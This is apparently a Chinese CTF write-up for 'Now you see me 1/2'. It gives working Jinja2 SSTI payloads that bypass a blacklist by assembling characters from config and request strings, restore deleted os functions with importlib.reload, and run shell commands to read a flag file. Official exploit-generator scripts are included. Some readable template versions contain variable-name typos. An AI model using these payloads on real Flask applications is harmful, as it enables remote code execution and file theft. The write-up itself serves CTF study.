/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0acla=i.867~i.867~j.193~i.756~i.755~i.757~i.757~i.867~i.867%}{%set%0aini=i.867~i.867~i.304~i.820~i.304~i.788~i.867~i.867%}{%set%0aglob=i.867~i.867~i.6~i.756~i.755~j.13~i.755~i.756~i.757~i.867~i.867%}{%print(cla)%}{%print(ini)%}{%print(glob)%}{%print(config|attr(cla)|attr(ini)|attr(glob))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

但是这里我不知道哪里触发到黑名单了搞的我一脸懵逼,所以这里用application来执行request.application.__globals__['__builtins__']['__import__']('os').popen(下划线被禁用用attr()绕过,[]被禁用用__getitem__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set po = 'popen' %}
{% print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)) %}
{% endfor %}
{% endfor %

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.193~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.13~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.13~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(po)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

可以找到popen的位置,尝试一下命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set po = 'popen' %}
{% set cmd = 'ls' %}
{% print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)) %}
{% endfor %}
{% endfor %

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.193~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.13~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.13~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.756~i.757%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(po)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

可以发现确实不能命令执行,经过上面的分析我们知道该环境删除了所有可能执行系统命令的函数

这时候就需要恢复命令执行函数,利用下面的代码可以进行恢复

1
2
3
4
5
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami') #这时命令是成功的

可以在本地测试一下

按着这个思路我们接着构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set iml = 'importlib' %}
{% set rel = 'reload' %}
{% set po = 'popen' %}
{% set cmd = 'ls /' %}
{% set red = 'read' %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so))) %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)()) %}
{% endfor %}
{% endfor %


/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.193~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.13~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.13~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.13%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.756~i.757~i.7~i.272%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set iml = 'importlib' %}
{% set rel = 'reload' %}
{% set po = 'popen' %}
{% set cmd = 'tac /flag_h3r3' %}
{% set red = 'read' %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so))) %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)()) %}
{% endfor %}
{% endfor %


/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.193~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.13~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.13~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.13%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.788~i.755~j.193~i.7~i.272~i.4~i.756~i.755~i.6~i.867~i.786~i.846~i.879~i.846%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

但是直接报错了,试了好多次都不行。看了wp说用base64读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set iml = 'importlib' %}
{% set rel = 'reload' %}
{% set po = 'popen' %}
{% set cmd = 'base64 /flag_h3r3' %}
{% set red = 'read' %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so))) %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)()) %}
{% endfor %}
{% endfor %


/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.193~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.13~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.13~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.13%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=j.13~i.755~i.757~i.881~j.145~i.843~i.7~i.272~i.4~i.756~i.755~i.6~i.867~i.786~i.846~i.879~i.846%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

发送到Decoder解码后得到flag

1
flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

法二:利用request.endpointrequest.data,利用request.data构造字符集

这种是官方的打法,比第一种方法会方便一些。

我这里懒得再构造了,人麻了,直接看官方的wp吧 https://www.cnblogs.com/LAMENTXU/articles/18730353

官方直接用脚本整的,直接粘个exp放这

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"

required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
# print(required_encoding)

offset_a = 16
offset_0 = 6

encoded_payloads = {}

arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
else:
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
payload.append(fully_encoded_payload)
command = "whoami"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"Follow-your-heart-%23}"+output)

Now you see me 2

描述:{%print("7//7")%} 压缩包密码为“Now you see me 1”的flag

考点:SSTI构造字符集绕过、importlib.reload()恢复命令执行函数、LSB隐写

跟第一题一样,就是后面获取flag的方式不同

这里直接拿官方的脚本打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = """{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"""+cmd+"""')|attr('read')()))%}"""

required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
# print(required_encoding)
required_encoding.append('WSGIRequestHandler')
offset_a = 16
offset_0 = 6
offset_A = 42
encoded_payloads = {}

arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
elif ord(j) >= ord('a') and ord(j) <= ord('z'):
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
elif ord(j) >= ord('A') and ord(j) <= ord('Z'):
a = str(ord(j)-ord('A')+offset_A)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
payload.append(fully_encoded_payload)
command = "base64 /flag_h3r3"
full_payload = '''{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')())%}'''
endpoint = "r3al_ins1de_thought"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"fly-%23}"+output)

运行后

1
2
3
GET /H3dden_route?spell=fly-%23}{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.16~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31%}{%set%0aa10%0a=%0ak.22~k.20~k.35%}{%set%0aa11%0a=%0ak.34~k.20~k.35~k.16~k.35~k.35~k.33%}{%set%0aa12%0a=%0ak.34~k.40~k.34%}{%set%0aa13%0a=%0ak.28~k.30~k.19~k.36~k.27~k.20~k.34%}{%set%0aa14%0a=%0ak.38~k.20~k.33~k.26~k.41~k.20~k.36~k.22%}{%set%0aa15%0a=%0ak.34~k.20~k.33~k.37~k.24~k.29~k.22%}{%set%0aa16%0a=%0ak.34~k.20~k.33~k.37~k.20~k.33~k.2~k.37~k.20~k.33~k.34~k.24~k.30~k.29%}{%set%0aa17%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa18%0a=%0ak.17~k.16~k.34~k.20~k.12~k.10~k.3~k.68~k.21~k.27~k.16~k.22~k.2~k.23~k.9~k.33~k.9%}{%set%0aa19%0a=%0ak.33~k.20~k.16~k.19%}{%set%0aa20%0a=%0ak.64~k.60~k.48~k.50~k.59~k.20~k.32~k.36~k.20~k.34~k.35~k.49~k.16~k.29~k.19~k.27~k.20~k.33%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(g|attr(a9)|attr(a1)|attr(a10)(a3)|attr(a10)(a11)(g|attr(a9)|attr(a1)|attr(a10)(a12)|attr(a13)|attr(a10)(a14)|attr(a15)|attr(a20),a16,g|attr(a9)|attr(a1)|attr(a10)(a3)|attr(a10)(a4)(a6)|attr(a17)(a18)|attr(a19)()))%}{%endfor%}{%endfor%}

_ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/

 2025-04-23 212831.png

但是这里直接解码看不到flag了是一个png文件

下载到本地

然后打一个LSB隐写就出来了 https://toolgg.com/image-decoder.html

总结:

感觉题目质量还是挺高的,自己就打出了ez_puzzle,Signin和ezsql都差一个小点就出来了,最麻烦的感觉还是Now you see me 1真想给出题人寄刀片。。。